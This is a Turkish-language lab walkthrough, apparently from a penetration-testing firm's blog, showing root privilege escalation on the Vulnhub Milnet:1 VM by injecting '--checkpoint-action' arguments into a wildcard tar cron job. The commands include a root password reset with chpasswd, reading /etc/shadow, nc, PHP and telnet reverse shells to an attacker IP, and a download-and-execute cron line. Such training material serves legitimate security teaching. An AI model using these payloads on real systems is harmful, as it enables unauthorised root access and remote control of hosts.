LinEnum Betiği ile Tespit Edilen Zamanlanmış Görev Betiğinde Hatalı Joker Karakteri Kullanımı (tar Aracı) ile Hak Yükseltme

0
1149
views
Bir ifadeyi daha kapsamlı olarak ele almak için Joker (Wildcard) karakterler kullanılabilir. Bu karakterlerin bir takım kullanım şekilleri beklenmedik sonuçlar doğurabilir. Bu yazıda, Milnet: 1 sanal makinesinde LinEnum betiği ile tespit edilen zamanlanmış görev, “tar” aracınıın hatalı bir şekilde Joker karakteri ile kullanılma durumu istismar edierek standart kullanıcı yetkilerinden root yetkilerine yükseltilmesi sağlanacaktır.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Yazıda kullanılan Milnet: 1 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/milnet-1,148/

Erişilen makinede “www-data” kullanıcısının standart yetkilere sahip olduğu ve kullanılan işletim sisteminin 64 bit mimarideki Ubuntu 16.04 LTS olduğu görülmektedir.

id
uname -a
cat /etc/*release*
head -3 /etc/passwd
tail -5 /etc/passwd
cat /etc/shadow

 

A) Hak Yükseltme Zafiyetinin Tespiti

Muhtemel hak yükseltme zafiyetlerinin listesi için LinEnum.sh isimli Bash betiği kullanılabilir. Kurban makinenin internet bağlantısının olmadığı senaryo için ilgili betik saldırgan makineye indirilir.

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

 

İndirilen dosya bir servis (web gibi) üzerinden erişime açılır ve kurban makineye aktarılır.

md5sum LinEnum.sh
python -m SimpleHTTPServer 5555

wget http://172.20.50.128:5555/LinEnum.sh -O /tmp/LinEnum.sh
ls -la /tmp/LinEnum.sh
chmod +x /tmp/LinEnum.sh

 

Betik çıktısı uzun olduğu için bir dosyaya yazdırılması gerekebilir.

cd /tmp/
./LinEnum.sh > Sonuc.txt
head -15 Sonuc.txt

 

Bu betiğin ilk 15 satırda başlık bilgisi bulunmaktadır. Sonraki satırlarda gerçekleştirilen tüm kontrollerin listesi aşağıdaki gibidir.

wc -l Sonuc.txt
tail -600 Sonuc.txt | grep -E “\[00;33m|\[00;31m”

### SYSTEM ##############################################
Kernel information:
Kernel information (continued):
Specific release information:
Hostname:
### USER/GROUP ##########################################
Current user/group info:
Users that have previously logged onto the system:
Who else is logged on:
Group memberships:
Sample entires from /etc/passwd (searching for uid values 0, 500, 501, 502, 1000, 1001, 1002, 2000, 2001, 2002):
Super user account(s):
We can sudo without supplying a password!
Are permissions on /home directories lax:
### ENVIRONMENTAL #######################################
Environment information:
Path information:
Available shells:
Current umask value:
umask value as specified in /etc/login.defs:
Password and storage information:
### JOBS/TASKS ##########################################
Cron jobs:
Crontab contents:
### NETWORKING ##########################################
Network & IP info:
Nameserver(s):
### SERVICES #############################################
Running processes:
Process binaries & associated permissions (from above list):
Contents of /etc/inetd.conf:
The related inetd binary permissions:
/etc/init.d/ binary permissions:
### SOFTWARE #############################################
Sudo version:
MYSQL version:
Apache user configuration:
Anything in the Apache home dirs?:
### INTERESTING FILES ####################################
Useful file locations:
Installed compilers:
Can we read/write sensitive files:
All *.conf files in /etc (recursive 1 level):
Current user’s history files:
Any interesting mail in /var/mail:
***We can read /var/mail/root! (snippet below)

 

Sonuç incelendiğinde zamanlanmış görevlerden birisi göze çarpmaktadır.

grep “Crontab contents” Sonuc.txt -A 17

 

B) Linux İşletim Sisteminde Zamanlanmış Görevler

Unix tabanlı sistemlerde belirli işleri belirli zamanlarda gerçekleştirmek için kullanılan yapılara Crontab adı verilir. Zamanlanmış görevler için aşağıdaki gibi bir söz dizimi bulunmaktadır:

D S AG A HG KOMUT

  • D: Dakika (0 – 59)
  • S: Saat (0 – 23)
  • AG: Ayın kaçıncı günü (1 – 31)
  • A: Ay (1 – 12) [1: Jan, 2:Feb,… 12: Dec ]
  • HG: Haftanın kaçıncı günü (0 – 7) [0 veya 7: Pazar, 1: Pazartesi, 2: Salı, 3: Çarşamba, 4: Perşembe, 5: Cuma, 6: Cumartesi]
  • KOMUT: Çalıştırılacak olan komut

5 dakikada bir çalışacak zamanlanmış görev için söz dizimi aşağıdaki gibidir.

*/5 * * * * cp /var/www/html/* /var/yedekler

Hergün 20.30’da çalışacak zamanlanmış görev için söz dizimi aşağıdaki gibidir.

30 20 * * * /home/eol/gunsonu.sh > /dev/null 2>&1

Ekim ayının her Çarşamba, Perşembe ve Cuma günü sabah 9.00, akşam 18.00’de çalışacak zamanlanmış görev için söz dizimi aşağıdaki gibidir.

0 9,18 * OCT 3-5 cp /etc/passwd /etc/passwd.yedek

Sadece Cumartesi günleri çalışacak bir zamanlanmış görev için söz dizimi aşağıdaki gibidir.

* * * * Saturday wget -O /tmp/emirler.sh http://10.20.30.40:5678/dosya.sh; chmod +x emirler.sh; ./emirler.sh /var/yedekler 3000 >/dev/null

 

Zamanlanmış görevler ile ilgili önemli dosya ve dizinler aşağıdaki gibi sıralanabilir.

  • /etc/crontab: Zamanlanmış görevlerin bulunduğu dosya
  • /etc/cron.d/: crond servisinin yapılandırma ayarlarının bulunduğu dizin
  • /etc/cron.daily/: Günlük çalışacak zamanlanmış görevlerin bulunduğu dizin
  • /etc/cron.hourly/: Saatlik çalışacak zamanlanmış görevlerin bulunduğu dizin
  • /etc/cron.monthly/: Aylık çalışacak zamanlanmış görevlerin bulunduğu dizin
  • /etc/cron.deny: Zamanlanmış görev oluşturması/ayarlaması yasak olan kullanıcıların listelendiği dosya
  • /etc/cron.allow: Zamanlanmış görev oluşturmasına/ayarlamasına izin verilen kullanıcıların listelendiği dosya
  • /var/spool/cron/: Crontab dosyalarının bulunduğu dizin
  • /etc/at.deny: Belirli bir zamanda çalışacak olan görevi (betik/komut) oluşturması/ayarlaması yasak olan kullanıcıların listelendiği dosya
  • /etc/at.allow: Belirli bir zamanda çalışacak olan görevi (betik/komut) oluşturmasına/ayarlamasına izin verilen kullanıcıların listelendiği dosya

Tüm kullanıcılar için hazırlanmış zamanlanmış görevleri listelemek için “crontab” aracı kullanılabilir.

for Hesap in cat /etc/passwd | cut -d":" -f1; do crontab -l -u $Hesap; done

 

C) Joker Karakteri ile Birlikte Kullanılan Tar Aracının İncelenmesi

Zamanlanmış görevler incelendiğinde, “root” kullanıcı yetkileri ile “backup.sh” adlı betik dikkat çekmektedir. Bu betik ile herkes tarafından yazılabilir olan “/var/www/html” dizinindeki dosyalar “/backup/backup.tgz” dosyasına arşivlenmektedir.

cat /etc/crontab
cat /backup/backup.sh

 

Joker karakterinin “tar” aracı ile beraber yazıldığı betiğin “root” yetkisi ile çalıştırılması ve çalışacak bu betiğin bulunduğu dizine herkes tarafından dosya oluşturulabilir olması hak yükseltme zafiyetine sebep olmaktadır. Uygulanabilecek bir Joker hilesi ile yetkisiz kullanıcının oluşturduğu bir betik çalıştırılabilir ve hak yükseltilebilir. Bu amaçla joker karakteri ile beraber kullanılan “tar” komutunun çalışacağı dizinde (“/var/www/html”) “— checkpoint=1“, “–checkpoint-action=exec=sh betik.sh” ve “betik.sh” diye üç dosya oluşturulur. Bu dizinde “tar cf /backup/backup.tgz *” komutu çalıştığında “–checkpoint=1 –checkpoint-action=exec=sh betik.sh” iki dosya olarak değil bir parametre olarak yorumlanır ve betik dosyasındaki ifade “tar cf /backup/backup.tgz * –checkpoint=1 –checkpoint-action=exec=sh betik.sh” olarak betiği çağıran kullanıcı (“root”) yetkileri ile çalışır.

ls -la /var/www
cd /var/www/html/
ls
echo “id > /tmp/KimlikBilgisi” > /var/www/html/betik.sh
chmod +x /var/www/html/betik.sh
touch “/var/www/html/–checkpoint-action=exec=sh betik.sh”
touch “/var/www/html/–checkpoint=1”
ls
date

 

Dakikada bir çalışan bu zamanlanmış görev sayesinde “betik.sh” dosyası çalıştırılmış ve “/tmp/KimlikBilgisi” dosyasına “id” komutunun çıktısı yazılmıştır.

date
cat /tmp/KimlikBilgisi

 

D) Joker Hilesi ile Hak Yükseltme: chpasswd

betik.sh dosyasına “root” hesabının parolasını değiştirecek bir komut yazılabilir. Sonra da “su” komutu veya SSH ile bağlanma yöntemi (ssh root@172.20.50.133 gibi) ile “root” kullanıcı haklarına erişim sağlanabilir.

date
echo “echo ‘root:Aa123456’ | chpasswd” > betik.sh
cat betik.sh
date
su – root

date
id

 

Not: Bazı ortamlarda chpasswd aracı yerine passwd aracı ile de parola sıfırlanabilmektedir. Mevcut sanal makinede ise, “passwd” aracı ilk yöntemdeki (“-e” parametresi kullanılmadan) gibi kullanıldığında parola sıfırlanabilmekte iken, ikinci yöntemdeki gibi kullanıldığında parola sıfırlanamamaktadır.

echo “Aa123456\nAa123456” | passwd root
echo -e “Aa123456\nAa123456” | passwd root

 

Not: Alınan “su: must be run from a terminal” hatasını atlatmak için “python” gibi bir yöntem ilr terminale geçiş sağlanabilir.

python -c ‘import pty;pty.spawn(“/bin/bash”)’
which python
locate python
which python3.5
python3.5 -c ‘import pty;pty.spawn(“/bin/bash”)’
su – root
id

 

E) Joker Hilesi ile Ters Bağlantı Elde Etme: nc & php

“betik.sh” dosyasına ters bağlantı sağlayacak bir ifadenin yazılması ile ters bağlantı da elde edilebilir. Bu amaçla bir dinleyici başlatılır.

nc -nlvp 7777

 

“betik.sh” dosyasının içeriği düzenlenerek, dakikada bir çalışmaya ayarlanmış olan zamanlanmış görevin çalışması beklenir.

date
echo “rm /tmp/K;mkfifo /tmp/K;cat /tmp/K|/bin/bash -i 2>&1|nc 172.20.50.128 7777 > /tmp/K” > betik.sh
echo betik.sh
date

 

Zamanlanmış görev çalıştığında dinleyici tarafında talep yakalanır ve hak yükseltilmiş olur.

date
id
head -3 /etc/shadow
tail -3 /etc/shadow

 

Benzer olarak aşağıdaki kullanım ile de komut satırı elde edilebilirdi.

echo “rm /tmp/F;mkfifo /tmp/F;cat /tmp/F|/bin/bash -i 2>&1|nc 172.20.50.128 7777 >/tmp/F” > betik.sh
echo “mkfifo /tmp/T; cat /tmp/T | /bin/sh -i 2>&1 | nc 172.20.50.128 7777 > /tmp/T” > betik.sh

 

Not: Sanal makinede kurulu olan “nc” aracı “-e” parametresini kabul etmediği için aşağıdaki yöntem başarılı olamamıştır.

nc 172.20.50.128 7777 -e /bin/bash

 

Not: PHP ile ters bağlantı elde edilmeye çalışılırken varsayılan olarak dosya tanımlayıcısı 3 verilir. Eğer bağlantı elde edilemezse, bu tanımlayıcı 4,5,6 verilerek erişim elde edilmeye çalışılabilir.

echo “php -r ‘\$sock=fsockopen(\”172.20.50.128\”,7777);exec(\”/bin/sh -i <&3 >&3 2>&3\”);'” > betik.sh
cat betik.sh
date
echo “php -r ‘\$sock=fsockopen(\”172.20.50.128\”,7777);exec(\”/bin/sh -i <&4 >&4 2>&4\”);'” > betik.sh
date
cat betik.sh

 

Not: Mevcut sanal makinede “telnet” oaketi yüklü olmadığı için aşağıdaki yöntemler ile komut satırı elde edilmeye çalışılmışsa da başarılı olunamamıştır.

echo “rm -f /tmp/P; mknod /tmp/P P && telnet 172.20.50.128 7777 0/tmp/P” > betik.sh

Diğer ters bağlantı yöntemleri için kaynaklardaki Highon sayfası incelenebilir.

 

F) Joker Hilesi ile Diğer Hak Yükseltme Yöntemleri

Sanal makinedeki betik.sh dosyası dakikada bir “root” kullanıcı yetkisi ile çalışmaktadır. Bu dosyaya yazılabilecek bir betik ile istenilen işlemler yapılabilir. “/etc/sudoers” dosyasına ifade yazma, derlenen “setuid” dosyasını çalıştırma, dosya yetkilendirmesini (/bin/bash, /etc/passwd, /etc/shadow,…) değiştirmek bu yöntemlerin bir kaçıdır.

 

Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:

  • /dev/random: Pipe: https://www.vulnhub.com/entry/devrandom-pipe,124/
  • zico2: 1: https://www.vulnhub.com/entry/zico2-1,210/

 

 

Kaynaklar:

https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

Hack the Milnet VM (CTF Challenge)

Linux Privilege Escalation by Exploiting Cronjobs

VulnHub Pipe Walkthrough


Vulnhub Walkthrough: Milnet 1
Milnet 1 Solution
https://github.com/mbs3c/milnet-ctf-writeup/wiki
https://highon.coffee/blog/reverse-shell-cheat-sheet/

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri